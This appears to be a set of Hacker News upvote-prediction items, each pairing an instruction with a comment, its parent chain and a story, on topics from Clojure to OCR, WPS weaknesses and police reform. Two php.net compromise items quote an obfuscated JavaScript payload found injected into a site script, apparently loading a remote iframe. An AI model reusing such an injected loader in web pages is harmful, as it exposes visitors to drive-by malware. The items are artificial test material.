you start with some canned data<p><pre><code> (let [person {:name &quot;Matt&quot;
:id 12345
:current_balance 100.10}
txns [{:person_id 12345 :amt 10}
{:person_id 44444 :amt 0.5}
{:person_id 55555 :amt 10}
{:person_id 12345 :amt 11}
{:person_id 12345 :amt -5}
{:person_id 66666 :amt 3}]]
(-&gt;&gt; txns
count)
)
=&gt; 6
</code></pre>
and maybe you want to filter the transactions to just that user<p><pre><code> (let [person {:name &quot;Matt&quot;
:id 12345
:current_balance 100.10}
txns [{:person_id 12345 :amt 10}
{:person_id 44444 :amt 0.5}
{:person_id 55555 :amt 10}
{:person_id 12345 :amt 11}
{:person_id 12345 :amt -5}
{:person_id 66666 :amt 3}]]
(-&gt;&gt; txns
(filter #(= (:id person)
(:person_id %)))
count)
)
=&gt; 3
</code></pre>
then you want to extract the amount for each of those<p><pre><code> (let [person {:name &quot;Matt&quot;
:id 12345
:current_balance 100.10}
txns [{:person_id 12345 :amt 10}
{:person_id 44444 :amt 0.5}
{:person_id 55555 :amt 10}
{:person_id 12345 :amt 11}
{:person_id 12345 :amt -5}
{:person_id 66666 :amt 3}]]
(-&gt;&gt; txns
(filter #(= (:id person)
(:person_id %)))
(map :amt))
)
=&gt; (10 11 -5)
</code></pre>
and sum those amounts<p><pre><code> (let [person {:name &quot;Matt&quot;
:id 12345
:current_balance 100.10}
txns [{:person_id 12345 :amt 10}
{:person_id 44444 :amt 0.5}
{:person_id 55555 :amt 10}
{:person_id 12345 :amt 11}
{:person_id 12345 :amt -5}
{:person_id 66666 :amt 3}]]
(-&gt;&gt; txns
(filter #(= (:id person)
(:person_id %)))
(map :amt)
(apply +))
)
=&gt; 16
</code></pre>
and add that to the existing balance<p><pre><code> (let [person {:name &quot;Matt&quot;
:id 12345
:current_balance 100.10}
txns [{:person_id 12345 :amt 10}
{:person_id 44444 :amt 0.5}
{:person_id 55555 :amt 10}
{:person_id 12345 :amt 11}
{:person_id 12345 :amt -5}
{:person_id 66666 :amt 3}]
bal-change (-&gt;&gt; txns
(filter #(= (:id person)
(:person_id %)))
(map :amt)
(apply +))]
(+ bal-change (:current_balance person))
)
=&gt; 116.1
</code></pre>
the function is done!<p><pre><code> (defn update-person-balance [{:keys [id current_balance]} txns]
(let [bal-change (-&gt;&gt; txns
(filter #(= id
(:person_id %)))
(map :amt)
(apply +))]
(+ bal-change current_balance)))
</code></pre>
I posted here as a series of snippets, but this would have been a single block of code, refined and evaluated and refined and evaluated, over and over, in a REPL-integrated editor. It feels like sketching a portrait or sculpting clay.<p>&quot;But I can do that in any ol&#x27; REPL!&quot; you might say. Try Clojure -- really try it, with an nREPL connected to your running application and to your editor, capturing inputs, playing them back, writing evaluation output as comments -- and then tell me you want to go back to your old REPL. A notebook environment is similar, though clumsier IMO.<p>Come for the REPL-driven-development, stay for the immutability, the Java library ecosystem, the lisp syntax, the concurrency support, etc. I know going on and on about how great Clojure development is is basically a meme at this point, but that&#x27;s because it&#x27;s really great!</text><parent_chain><item><author>bIAW7hAhDO</author><text>Honest question: Why is clojure so much better than the rest?</text></item><item><author>jakebasile</author><text>I&#x27;ve said it before, and I&#x27;ll say it again. I will continue to write Clojure for a living as long as I am able to find a job willing to pay me to do so. I have never encountered a more pleasant environment to do my work. I think Clojure isn&#x27;t going to &quot;go away&quot; any time soon as long as there are other people like me still around.<p>I do think that Clojure shops (like all software shops) need to dial back the torture interviews &#x2F; homework &#x2F; tests, but that&#x27;s really a bigger thing that just Clojure. I think more could be done to market Clojure to the non-believers, but I don&#x27;t have specific ideas on how that could be done.<p>You can take my parentheses from my cold, unemployed hands.</text></item></parent_chain></comment><story><title>The Future of Clojure</title><url>https://www.thoughtworks.com/podcasts/future-clojure</url></story> |
27,879,435 | 27,877,895 | 1 | 2 | 27,876,383 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>sandreas</author><text>If you are trying to detect text from document images &#x2F; photos: tesseract is strongly focused mainly on the OCR part of the whole preprocessing(1). If you would like to get better results on that, you could use the wolf binarization tool (2) as an easy adaptive thresholding to remove shadows and uneven areas, which should improve your OCR results a lot on document photos!<p>(1): <a href="https:&#x2F;&#x2F;towardsdatascience.com&#x2F;pre-processing-in-ocr-fc231c6035a7" rel="nofollow">https:&#x2F;&#x2F;towardsdatascience.com&#x2F;pre-processing-in-ocr-fc231c6...</a>
(2): <a href="https:&#x2F;&#x2F;github.com&#x2F;chriswolfvision&#x2F;local_adaptive_binarization" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;chriswolfvision&#x2F;local_adaptive_binarizati...</a></text><parent_chain></parent_chain></comment><story><title>Tesseract OCR</title><url>https://github.com/tesseract-ocr/tesseract</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>simonw</author><text>I finally figured out how to use the Tesseract CLI utility on macOS today (installed from Homebrew). It&#x27;s really neat - you can use it to turn a PNG into a PDF with embedded text, which you can then copy-and-paste: <a href="https:&#x2F;&#x2F;til.simonwillison.net&#x2F;tesseract&#x2F;tesseract-cli" rel="nofollow">https:&#x2F;&#x2F;til.simonwillison.net&#x2F;tesseract&#x2F;tesseract-cli</a><p>I learned about it from this post: <a href="https:&#x2F;&#x2F;alexn.org&#x2F;blog&#x2F;2020&#x2F;11&#x2F;11&#x2F;organize-index-screenshots-ocr-macos.html" rel="nofollow">https:&#x2F;&#x2F;alexn.org&#x2F;blog&#x2F;2020&#x2F;11&#x2F;11&#x2F;organize-index-screenshots...</a></text><parent_chain></parent_chain></comment><story><title>Tesseract OCR</title><url>https://github.com/tesseract-ocr/tesseract</url></story> |
20,069,598 | 20,068,957 | 1 | 2 | 20,068,727 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>steve-benjamins</author><text>My wife works in a woman&#x27;s shelter and Alexa &#x2F; smart home devices is a common way women in abusive relationships are harassed and monitored...<p>Edit for clarity: Even if a woman has a restraining order against the abuser, the abuser will turn on music in the middle of the night, mess with the lights, turn the thermostat down etc. If the woman still lives with the abuser, smart devices (not necessarily Alexa) are used to monitoring comings and goings.<p>One person often sets up the devices and the other person has no understanding of how to turn these things off. Even more often: the harassed woman doesn&#x27;t even realize what&#x27;s happening is due to the man controlling smart devices— the harassed is &quot;gaslighted&quot; and thinks they&#x27;re going crazy (&quot;why does the temperature keep PLUMMETING?&quot;).</text><parent_chain></parent_chain></comment><story><title>Property managers bring in Alexa to manage tenants</title><url>https://www.wsj.com/articles/amazons-plan-to-move-in-to-your-next-apartment-before-you-do-11559361605</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>bilbo0s</author><text>Have I just become a curmudgeonly old man yelling at kids to stay off my lawn? I mean I don&#x27;t feel old and out of touch, but something is off?<p>Is everyone else really out there demanding these types of services and technologies be installed in their homes as a prerequisite to even living there?<p>If you&#x27;re one of the people who use these kinds of devices, and you don&#x27;t mind me asking, why is it you guys like these types of devices and services? And do the privacy issues here concern any of you at all?<p>As a matter of full disclosure, the privacy issues seem obvious and deal breaking to me, but clearly that&#x27;s not the consensus view.</text><parent_chain></parent_chain></comment><story><title>Property managers bring in Alexa to manage tenants</title><url>https://www.wsj.com/articles/amazons-plan-to-move-in-to-your-next-apartment-before-you-do-11559361605</url></story> |
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Wrapped into onload.</text><parent_chain><item><author>karma_fountain</author><text>1) When I go to static userprefs.js on my mobile, no obfuscated contents.<p>2) Now when I browse to static userprefs.js on my desktop in incognito mode, no obfuscated contents.<p>3) When i browse to static userprefs.js on normal mode I get the following js appended:<p><pre><code> (function (MH) {
var aS = &quot;\x96\xad\xa1\xb4\x87\xf8J\x04Y.C\xb4u&gt;\xac\xa8\x95\xbd\x04x\x8e\xa6:\x8c\x00O\x0b`\x04\x20-M@O\x00\x0d+\x0c\x0b\x04IM\x00d\x0fhbH&quot;+
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jS = aS[&quot;\x73\x75\x62\x73\x74\x72\x69\x6e\x67&quot;](0, Jm[Z7[2]]);
UVf = function (wD) {
var Np, uK, Ugx = uK = &quot;&quot;,
DUB = 0;
wD = wD[Z7[0]](Ugx);
for (Np in wD) {
if (wD[Z7[3]](Np)) {
uK += pVH(wD[Np], jS[Z7[0]](Ugx)[DUB %= jS[Z7[2]]]);
DUB++;
}
}
return (uK);
};
jS = UVf(Jm);
MH[UVf(&quot;&#x27;t!H&quot;)](UVf(aS[UVf(&quot;1w\&quot;WtV)\x0e%&quot;)](Jm[UVf(&quot;.g.CtL&quot;)])))
})(window, pVH = function (g6D, FFl, LyS, mnT) {
g6D = g6D[LyS = &quot;\x63&quot; + (mnT = &quot;\x68\x61\x72\x43\x6f\x64\x65&quot;) + &quot;\x41\x74&quot;](0);
return (String[&quot;\x66\x72\x6f\x6d\x43&quot; + mnT](g6D &amp; XC | ((g6D &amp; (~XC &amp; 0xff)) ^ (FFl[LyS](0) &amp; (~XC &amp; 0xff)))))
});
</code></pre>
4) When I control F5 the page to refresh, obfuscated contents are gone.<p>So I&#x27;m leaning towards it being hacked a while ago and the hacked version was in my cache.</text></item><item><author>smsm42</author><text>It was changed to un-confuse whatever tool google is using. No version on github has obfuscated contents (see: <a href="https://github.com/php/web-php/commits/master/userprefs.js" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;php&#x2F;web-php&#x2F;commits&#x2F;master&#x2F;userprefs.js</a>) bit it does include another file (<a href="https://github.com/php/web-php/commits/master/functions.js" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;php&#x2F;web-php&#x2F;commits&#x2F;master&#x2F;functions.js</a>) which did have obfuscated contents. Where the version that inserts iframe to uk site came from?</text></item><item><author>karma_fountain</author><text>It&#x27;s weird. The file linked to in the google product forums (<a href="http://static.php.net/www.php.net/userprefs.js" rel="nofollow">http:&#x2F;&#x2F;static.php.net&#x2F;www.php.net&#x2F;userprefs.js</a>) definitely has a piece of obfuscated js to insert an iframe pointing to <a href="http://lnkhere.reviewhdtv.co.uk/stat.htm" rel="nofollow">http:&#x2F;&#x2F;lnkhere.reviewhdtv.co.uk&#x2F;stat.htm</a>. The actual <a href="http://www.php.net/userprefs.js" rel="nofollow">http:&#x2F;&#x2F;www.php.net&#x2F;userprefs.js</a> does not though.</text></item><item><author>dscrd</author><text>Everybody seems to laugh and rage about this, but could somebody tell me if this is correctly detected or not? I would not be surprised at all if somebody had breached php.net. Did they properly check against intrusions?</text></item></parent_chain></comment><story><title>Php.net detected as a malware host by Google Safe Browsing</title><url>http://www.google.com/safebrowsing/diagnostic?site=http://php.net/manual/en/function.next.php&hl=en</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>recentdarkness</author><text>From my experience are these contents only provided once per IP and then you&#x27;re getting filtered to not get any content again, to prevent &#x27;easy&#x27; detection of this.<p>You simply get blacklisted after the first serving</text><parent_chain><item><author>karma_fountain</author><text>1) When I go to static userprefs.js on my mobile, no obfuscated contents.<p>2) Now when I browse to static userprefs.js on my desktop in incognito mode, no obfuscated contents.<p>3) When i browse to static userprefs.js on normal mode I get the following js appended:<p><pre><code> (function (MH) {
var aS = &quot;\x96\xad\xa1\xb4\x87\xf8J\x04Y.C\xb4u&gt;\xac\xa8\x95\xbd\x04x\x8e\xa6:\x8c\x00O\x0b`\x04\x20-M@O\x00\x0d+\x0c\x0b\x04IM\x00d\x0fhbH&quot;+
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jS = aS[&quot;\x73\x75\x62\x73\x74\x72\x69\x6e\x67&quot;](0, Jm[Z7[2]]);
UVf = function (wD) {
var Np, uK, Ugx = uK = &quot;&quot;,
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wD = wD[Z7[0]](Ugx);
for (Np in wD) {
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}
}
return (uK);
};
jS = UVf(Jm);
MH[UVf(&quot;&#x27;t!H&quot;)](UVf(aS[UVf(&quot;1w\&quot;WtV)\x0e%&quot;)](Jm[UVf(&quot;.g.CtL&quot;)])))
})(window, pVH = function (g6D, FFl, LyS, mnT) {
g6D = g6D[LyS = &quot;\x63&quot; + (mnT = &quot;\x68\x61\x72\x43\x6f\x64\x65&quot;) + &quot;\x41\x74&quot;](0);
return (String[&quot;\x66\x72\x6f\x6d\x43&quot; + mnT](g6D &amp; XC | ((g6D &amp; (~XC &amp; 0xff)) ^ (FFl[LyS](0) &amp; (~XC &amp; 0xff)))))
});
</code></pre>
4) When I control F5 the page to refresh, obfuscated contents are gone.<p>So I&#x27;m leaning towards it being hacked a while ago and the hacked version was in my cache.</text></item><item><author>smsm42</author><text>It was changed to un-confuse whatever tool google is using. No version on github has obfuscated contents (see: <a href="https://github.com/php/web-php/commits/master/userprefs.js" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;php&#x2F;web-php&#x2F;commits&#x2F;master&#x2F;userprefs.js</a>) bit it does include another file (<a href="https://github.com/php/web-php/commits/master/functions.js" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;php&#x2F;web-php&#x2F;commits&#x2F;master&#x2F;functions.js</a>) which did have obfuscated contents. Where the version that inserts iframe to uk site came from?</text></item><item><author>karma_fountain</author><text>It&#x27;s weird. The file linked to in the google product forums (<a href="http://static.php.net/www.php.net/userprefs.js" rel="nofollow">http:&#x2F;&#x2F;static.php.net&#x2F;www.php.net&#x2F;userprefs.js</a>) definitely has a piece of obfuscated js to insert an iframe pointing to <a href="http://lnkhere.reviewhdtv.co.uk/stat.htm" rel="nofollow">http:&#x2F;&#x2F;lnkhere.reviewhdtv.co.uk&#x2F;stat.htm</a>. The actual <a href="http://www.php.net/userprefs.js" rel="nofollow">http:&#x2F;&#x2F;www.php.net&#x2F;userprefs.js</a> does not though.</text></item><item><author>dscrd</author><text>Everybody seems to laugh and rage about this, but could somebody tell me if this is correctly detected or not? I would not be surprised at all if somebody had breached php.net. Did they properly check against intrusions?</text></item></parent_chain></comment><story><title>Php.net detected as a malware host by Google Safe Browsing</title><url>http://www.google.com/safebrowsing/diagnostic?site=http://php.net/manual/en/function.next.php&hl=en</url></story> |
3,402,808 | 3,402,056 | 1 | 3 | 3,401,888 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>jacquesgt</author><text>There's a detailed description of the weakness in the WPS protocol here: <a href="http://sviehb.files.wordpress.com/2011/12/viehboeck_wps.pdf" rel="nofollow">http://sviehb.files.wordpress.com/2011/12/viehboeck_wps.pdf</a><p>It looks time there are two issues here. The first is that the pin is confirmed in two stages, each of which can be individually NAKed. That brings e complexity down from 10^7 to 11,000. It seems like this could be fixed by always ACKing the first stage and then ACKing/NAKing the second stage based on the result of both stages (unless doing so would somehow lead to leaking information about the PIN).<p>I think the first issue comes from an attempt at doing mutual authentication. Basically the device (like a wireless printer) wants to tell an access point (AP) that it knows the PIN. But, the device wants to make sure the AP also knows the pin. Otherwise, someone could spoof the AP and say for any connection attempt "yup, that's the PIN, now here's your (fake) configuration". I think they're also trying to cover the case where the HMAC they're using has a vulnerability, allowing a fake AP to discover the secret key by using nonces that expose a weakness in the HMAC.<p>Instead of just trusting HMACs to do their thing, they break the mutual authentication into stages. The AP and the device each prove they know the first half of the key. If either side fails that test, then the other side refuses to move on, supposedly protecting the second half of the key even if the HMAC is found to be broken. In reality of course, it leads to the attack described above. If both sides just always ACK the first stage, everything is fine as long as the HMAC is secure (which it most likely is). If you're worried about the HMAC being broken, you could use a dummy PIN for the second stage if the first stage fails.<p>The second issue is that most vendors don't implement lockouts after too many failed attempts. Even if they do, the issue above means a brute-force attack is still possible in a few months' time because of the greatly reduced complexity. Fixing both issues would probably make a brute force attack impractical.<p>Until both issues are fixed, the best solution is to disable pin-based WPS. Unfortunately many low-cost wireless printers and similar devices require WPS to connect to a secured wireless network. Turning off WPS may make such devices unusable.<p>It's possible that enabling MAC address filtering will also solve the issue(actually... not).</text><parent_chain></parent_chain></comment><story><title>Cracking WPA in 10 hours or less</title><url>http://www.devttys0.com/2011/12/cracking-wpa-in-10-hours-or-less/</url><text></text></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>yuhong</author><text>Add "using WPS" to the title please.</text><parent_chain></parent_chain></comment><story><title>Cracking WPA in 10 hours or less</title><url>http://www.devttys0.com/2011/12/cracking-wpa-in-10-hours-or-less/</url><text></text></story> |
19,362,168 | 19,362,117 | 1 | 3 | 19,360,497 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>malgorithms</author><text>I&#x27;d be curious if people on HN would want a zero knowledge survey and voting system inside Keybase, and if so, what would it look like?<p>The background: we talk about it sometimes as a solution to a real problem: in certain teams and workplaces, people can be afraid to give honest feedback (who dares to submit an &quot;anonymous&quot; survey to HR?), but Keybase may be in a unique position to let people in a group give written feedback, vote on something important, or rate an experience. Without any risk of exposing identity, short of writing something identifiable in a text field.<p>I&#x27;d be curious, personally, to see management get a yearly vote of [no] confidence, for example. Is that crazy?<p>Keep in mind we are mostly focused right now on user experience and performance improvements. But we allocate a certain amount of time to cryptographic features that just aren&#x27;t possible in other software, such as this coin flip thing. We&#x27;ve been talking about voting and surveys, too.</text><parent_chain></parent_chain></comment><story><title>Cryptographic coin flipping, now in Keybase</title><url>https://keybase.io/blog/cryptographic-coin-flipping</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>floren</author><text>I use Keybase daily and really like it, but of course the more I use it the more I fear it&#x27;ll go away. Are they actually making any money off it yet, or will they eventually run out and fail to switch over to paid accounts in time before the company evaporates?</text><parent_chain></parent_chain></comment><story><title>Cryptographic coin flipping, now in Keybase</title><url>https://keybase.io/blog/cryptographic-coin-flipping</url></story> |
35,717,974 | 35,717,495 | 1 | 3 | 35,713,852 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>ainar-g</author><text>Not exactly stories in text, but there is a YouTube channel called “Deutsch Lernen Durch Hören”[1] (“Learning German Through Listening”), which has hundreds of stories for all levels.<p>[1]: <a href="https:&#x2F;&#x2F;www.youtube.com&#x2F;@DldH">https:&#x2F;&#x2F;www.youtube.com&#x2F;@DldH</a></text><parent_chain><item><author>thomasahle</author><text>Seems silly to translate short stories into German, rather than just using German short stories. Even if translation got incredibly good, the &quot;real&quot; German stories would have the extra benefit of teaching you about the culture.<p>On that note, do you have a recommendation for a collection of actual German short stories?</text></item><item><author>cloogshicer</author><text>Native German speaker here. My partner is a native English speaker and I was about to recommend this to her.<p>However, it looks like a lot of this is auto generated&#x2F;translated, making it sound unnatural or sometimes just wrong.<p>For example:<p>I looked at this example story [1] and the practice question is slightly bad grammar. It should be &quot;Wer ging im Wald spazieren?&quot;, not &quot;Wer ging spazieren im Wald?&quot;.<p>Or: &quot;Sie lachten und hatten eine gute Zeit [...]&quot; --&gt; This seems like a bad translation of &quot;had a good time&quot;, which doesn&#x27;t translate directly to German like this.<p>Would definitely not recommend this overall.<p>[1] <a href="https:&#x2F;&#x2F;webbu.app&#x2F;l&#x2F;german&#x2F;story&#x2F;ein-unerwarteter-spaziergang-im-wald" rel="nofollow">https:&#x2F;&#x2F;webbu.app&#x2F;l&#x2F;german&#x2F;story&#x2F;ein-unerwarteter-spaziergan...</a></text></item></parent_chain></comment><story><title>Show HN: Learn German with Short Stories</title><url>https://webbu.app/german</url><text>Hi HN! I have been working on a webapp to keep learning German and today I want to share the first version. In the past, I have used books with &quot;Short stories&quot; to learn the language and I always wanted more stories so I thought I could put that into an app. Short stories are nice because the learner can attempt to understand words from the context of the text and it feels like less effort than a traditional language app.<p>Additionally, the app format allows for practice questions at the end and you can use LLMs to check whether the answers are correct; so the users can check themselves.<p>So this is that! Let me know if you have any questions.<p><a href="https:&#x2F;&#x2F;webbu.app&#x2F;german" rel="nofollow">https:&#x2F;&#x2F;webbu.app&#x2F;german</a></text></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>WalterBright</author><text>Der Struwwelpeter</text><parent_chain><item><author>thomasahle</author><text>Seems silly to translate short stories into German, rather than just using German short stories. Even if translation got incredibly good, the &quot;real&quot; German stories would have the extra benefit of teaching you about the culture.<p>On that note, do you have a recommendation for a collection of actual German short stories?</text></item><item><author>cloogshicer</author><text>Native German speaker here. My partner is a native English speaker and I was about to recommend this to her.<p>However, it looks like a lot of this is auto generated&#x2F;translated, making it sound unnatural or sometimes just wrong.<p>For example:<p>I looked at this example story [1] and the practice question is slightly bad grammar. It should be &quot;Wer ging im Wald spazieren?&quot;, not &quot;Wer ging spazieren im Wald?&quot;.<p>Or: &quot;Sie lachten und hatten eine gute Zeit [...]&quot; --&gt; This seems like a bad translation of &quot;had a good time&quot;, which doesn&#x27;t translate directly to German like this.<p>Would definitely not recommend this overall.<p>[1] <a href="https:&#x2F;&#x2F;webbu.app&#x2F;l&#x2F;german&#x2F;story&#x2F;ein-unerwarteter-spaziergang-im-wald" rel="nofollow">https:&#x2F;&#x2F;webbu.app&#x2F;l&#x2F;german&#x2F;story&#x2F;ein-unerwarteter-spaziergan...</a></text></item></parent_chain></comment><story><title>Show HN: Learn German with Short Stories</title><url>https://webbu.app/german</url><text>Hi HN! I have been working on a webapp to keep learning German and today I want to share the first version. In the past, I have used books with &quot;Short stories&quot; to learn the language and I always wanted more stories so I thought I could put that into an app. Short stories are nice because the learner can attempt to understand words from the context of the text and it feels like less effort than a traditional language app.<p>Additionally, the app format allows for practice questions at the end and you can use LLMs to check whether the answers are correct; so the users can check themselves.<p>So this is that! Let me know if you have any questions.<p><a href="https:&#x2F;&#x2F;webbu.app&#x2F;german" rel="nofollow">https:&#x2F;&#x2F;webbu.app&#x2F;german</a></text></story> |
13,596,917 | 13,596,838 | 1 | 2 | 13,595,475 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>doodyhead</author><text>&gt; ...it is almost entirely unique in its freedom of speech and its allowance for political opposition without fear of retribution as a modus operandi.<p>This is a common misconception of Americans and is blatantly untrue. America is absolutely not the only free country in the world and, in some areas, it is less free.<p>Take press freedom, for instance: the US currently ranks 41st:<p><a href="https:&#x2F;&#x2F;rsf.org&#x2F;en&#x2F;ranking" rel="nofollow">https:&#x2F;&#x2F;rsf.org&#x2F;en&#x2F;ranking</a><p>There are plenty of other fully democratic countries in the world, where freedom of speech is accepted, encouraged, and enshrined in well-respected laws.</text><parent_chain><item><author>aisofteng</author><text>&gt;People who dare to oppose these powerful people discover the true meaning of hell. It&#x27;s true practically everywhere in the world including the US.<p>It can be true in the US, but it definitely is not the norm. This statement rings false. For all the problems the US has, yes including corruption in some places, it is almost entirely unique in its freedom of speech and its allowance for political opposition without fear of retribution as a modus operandi.</text></item><item><author>anondon</author><text>The videos you linked were so hard to watch.<p>&gt; India is a land of lawlessness and that&#x27;s a reality.<p>It&#x27;s a little more subtle : well connected people to whatever they want and get away with no consequences. People who dare to oppose these powerful people discover the true meaning of hell. It&#x27;s true practically everywhere in the world including the US.<p>IMO for all the shit that social networks receive (for good reasons), one of the side effects is that it&#x27;s a lot easier to share such gross violations of law an example of which are the above videos. In a way social networks give people power.</text></item><item><author>kumarm</author><text>The Article doesn&#x27;t cover basics of Criminality of Indian Politicians.<p>These are just two example in last week from 1 south Indian state caught on camera (Because Local media would not cover since pretty much media in state supports ruling party):<p><a href="https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=wOueUSVSuYk" rel="nofollow">https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=wOueUSVSuYk</a> [1]<p><a href="https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=3hG2fqW-tcM" rel="nofollow">https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=3hG2fqW-tcM</a> [2]<p>Very rarely criminality of Indian politicians comes out because Media do not want to cover it. These showed up because someone could record. But in both cases, elected representatives and their goons are already out of trouble.<p>India is a land of lawlessness and that&#x27;s a reality.<p>[1]A journalist being beaten by local representatives brother because he wrote on their corruption.<p>[2]Goons of local representative beating a women (1 eyed mind you) because she didn&#x27;t agree for their illegal construction in front of her house.</text></item></parent_chain></comment><story><title>Why many Indian politicians have a criminal record</title><url>http://www.economist.com/news/books-and-arts/21716019-penchant-criminality-electoral-asset-india-worlds-biggest</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>sametmax</author><text>It&#x27;s because in the US, corruption is just legal thanks to lobbying.<p>Plus, you are in a country where you can go to war to satisfy your friends benefit. Lie blatantly about the motives. Spend billions of dollars for it in a country in massive debt. Get caught doing so. Yet ignore international instutiions, go kill thousands of people anyway and get away with it.<p>You are in a country bailing the banks that ruined themself.<p>You are in a country where it&#x27;s legal to snatch somebody without a trial. Where you can get in secret prisons and be tortured. All that justified by events that killed less people than the flu.<p>Where massive surveillance is allowed by politicians for security, yet they ban all attempt of transparency on their own actions.<p>The only difference with India is that they are better at it :<p>- they don&#x27;t make it obvious and chocking enough so that it leads to a strong reaction<p>- they use all the tricks in the book to divert attention<p>But in the end, the US is so corrupted it could be a case study for future historians.<p>France is pretty much the same, mind you. We have just less guns and more smug.</text><parent_chain><item><author>aisofteng</author><text>&gt;People who dare to oppose these powerful people discover the true meaning of hell. It&#x27;s true practically everywhere in the world including the US.<p>It can be true in the US, but it definitely is not the norm. This statement rings false. For all the problems the US has, yes including corruption in some places, it is almost entirely unique in its freedom of speech and its allowance for political opposition without fear of retribution as a modus operandi.</text></item><item><author>anondon</author><text>The videos you linked were so hard to watch.<p>&gt; India is a land of lawlessness and that&#x27;s a reality.<p>It&#x27;s a little more subtle : well connected people to whatever they want and get away with no consequences. People who dare to oppose these powerful people discover the true meaning of hell. It&#x27;s true practically everywhere in the world including the US.<p>IMO for all the shit that social networks receive (for good reasons), one of the side effects is that it&#x27;s a lot easier to share such gross violations of law an example of which are the above videos. In a way social networks give people power.</text></item><item><author>kumarm</author><text>The Article doesn&#x27;t cover basics of Criminality of Indian Politicians.<p>These are just two example in last week from 1 south Indian state caught on camera (Because Local media would not cover since pretty much media in state supports ruling party):<p><a href="https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=wOueUSVSuYk" rel="nofollow">https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=wOueUSVSuYk</a> [1]<p><a href="https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=3hG2fqW-tcM" rel="nofollow">https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=3hG2fqW-tcM</a> [2]<p>Very rarely criminality of Indian politicians comes out because Media do not want to cover it. These showed up because someone could record. But in both cases, elected representatives and their goons are already out of trouble.<p>India is a land of lawlessness and that&#x27;s a reality.<p>[1]A journalist being beaten by local representatives brother because he wrote on their corruption.<p>[2]Goons of local representative beating a women (1 eyed mind you) because she didn&#x27;t agree for their illegal construction in front of her house.</text></item></parent_chain></comment><story><title>Why many Indian politicians have a criminal record</title><url>http://www.economist.com/news/books-and-arts/21716019-penchant-criminality-electoral-asset-india-worlds-biggest</url></story> |
26,137,359 | 26,137,050 | 1 | 3 | 26,134,181 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>pessimizer</author><text>If bad behavior is common in the police force, but the majority of officers aren&#x27;t badly behaved, wouldn&#x27;t a sign of <i>success</i> be if police officers quit en masse? The only real reason turning over the entire police force is a scary prospect is that de-ba&#x27;athification resulted in ISIS.<p>I absolutely deny that resignation of the vast majority of police officers would result in a significant loss of useful institutional knowledge or talent. These are rotten institutions from the <i>top down</i> which is what really enforces the no-snitching culture. People above you will destroy you for snitching, and pull strings for you when you don&#x27;t.<p>The people above are also the ones whose &quot;blessings&quot; are listened to. Low-level cops don&#x27;t get to speak for themselves, we only listen to people who <i>achieve</i> in a culture that rewards bad behavior. It&#x27;s how we handle everything, not just police.</text><parent_chain><item><author>hayst4ck</author><text>There must be some uncomfortable truth in regards to police officers, the type of thing you only understand if you are responsible for leading&#x2F;paying them.<p>Clearly police officers are above the law in America.
Clearly blue lives matter&#x2F;thin blue line is a very deep cultural problem within the force.
Clearly police unions protect people who shouldn&#x27;t be protected.
Clearly police officers protect their peers when their peers commit crime.
Clearly there is some level of infiltration by white supremacists into police forces.
Clearly police in major cities do not do a very good job of de-escalation at all.<p>The average citizen has almost certainly seen a video of a police officer acting outrageously and not ending up in prison. Everyone here has theories that will solve it: end qualified immunity, fix incentives, destroy police unions. Most likely none of us are experts. I can&#x27;t shake the feeling that there is some truth or barrier to this problem that the average person doesn&#x27;t know about&#x2F;the government doesn&#x27;t think we can handle being told.<p>If nothing else any reform must have the blessing of police officers. If police officers quit en masse that is something society at large isn&#x27;t willing to tolerate. Just like the old slashdot e-mail reform meme of ol&#x27; (<a href="https:&#x2F;&#x2F;yro.slashdot.org&#x2F;story&#x2F;04&#x2F;04&#x2F;06&#x2F;1629219&#x2F;analysis-of-spam-and-a-proposed-solution" rel="nofollow">https:&#x2F;&#x2F;yro.slashdot.org&#x2F;story&#x2F;04&#x2F;04&#x2F;06&#x2F;1629219&#x2F;analysis-of-...</a>), I suspect we need a similar meme for police reform.</text></item></parent_chain></comment><story><title>No Qualified Immunity for Cops Who Made Stuff Up to Justify Phone Seizure</title><url>https://www.techdirt.com/articles/20210106/18521446009/no-qualified-immunity-cops-who-made-stuff-up-to-justify-seizing-mans-phone-twelve-days.shtml</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>s1artibartfast</author><text>&gt;I can&#x27;t shake the feeling that there is some truth or barrier to this problem that the average person doesn&#x27;t know about&#x2F;the government doesn&#x27;t think we can handle being told.<p>I think the truth is simple. Police officers are regular people, not supermen. They work an awful and dangerous job where they 